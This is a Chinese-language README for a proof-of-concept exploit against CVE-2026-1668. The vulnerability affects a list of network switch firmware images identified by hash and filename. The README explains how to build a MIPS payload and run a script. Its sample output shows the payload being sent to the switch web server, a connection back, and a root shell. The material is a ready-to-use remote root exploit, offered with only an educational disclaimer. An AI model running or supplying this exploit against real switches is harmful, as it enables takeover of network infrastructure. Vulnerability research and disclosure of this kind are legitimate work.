CVE-2026-1668 概念验证漏洞利用
这是针对 CVE-2026-1668 的概念验证漏洞利用。它仅供教育目的使用。请勿尝试利用您不拥有或未获得明确许可进行利用的系统。
此概念验证是针对具有以下 SHA256 哈希值的固件镜像开发的:4b862b8dd7fde44fa57a39b35b562f21878dd6abb8e92ccd9cdef571ed60d544。
已知与该哈希值匹配的固件名称(非详尽列表):
- SG2005P-PDv1_en_1.0.16_[20251031-rel72837]_up.bin
- SG2008Pv3_en_3.20.14_[20251031-rel72837]_up.bin
- SG2008v4_en_4.20.14_[20251031-rel72837]_up.bin
- SG2016Pv1_en_1.20.14_[20251031-rel72837]_up.bin
- SG2210MPv4_en_4.20.15_[20251031-rel72837]_up.bin
- SG2210MPv5_en_5.0.12_[20251031-rel72837]_up.bin
- SG2210Pv5_en_5.20.15_[20251031-rel72837]_up.bin
- SG2218Pv1_en_1.20.14_[20251031-rel72837]_up.bin
- SG2218Pv2_en_2.0.11_[20251031-rel72837]_up.bin
- SG2218v1_en_1.20.14_[20251031-rel72837]_up.bin
- SG2428LPv1_en_1.0.12_[20251031-rel72837]_up.bin
- SG2428Pv5_en_5.20.17_[20251031-rel72837]_up.bin
- SG2428Pv5_en_5.30.13_[20251031-rel72837]_up.bin
- SG3210v3_en_3.20.14_[20251031-rel72837]_up.bin
- SL2428Pv6_en_6.20.15_[20251031-rel72837]_up.bin
- TL-SG2428Pv4_en_4.0.23_[20251031-rel72837]_up.bin
较早的固件版本很可能也存在漏洞,但可能需要对漏洞利用载荷进行细微修改。
有关载荷工作原理的说明可在此博客文章中找到。
构建
构建载荷需要 MIPS Linux GCC 工具链。在 Ubuntu 24.04 上,可以通过 sudo apt install gcc-mips-linux-gnu 安装。
$ make
运行
此漏洞利用必须在 HTTP 服务器处理其第一个请求之前运行(即在全新启动时)。
$ ./run.sh
该脚本应将您带入 root shell。如果没有,则说明漏洞利用失败。
[*] Sending payload
HTTP/1.1 200 OK
Server: Web Switch
Connection: close
Content-Type: application/json
{"data":{"mByCtrl":0,"includePrivacyPolicy":0,"includeAutoCheck":1,"includeSshController":1},"errorcode":0,"success":true,"timeout":false}
[*] Connecting back to get a shell
/bin/sh: can't access tty; job control turned off
/etc #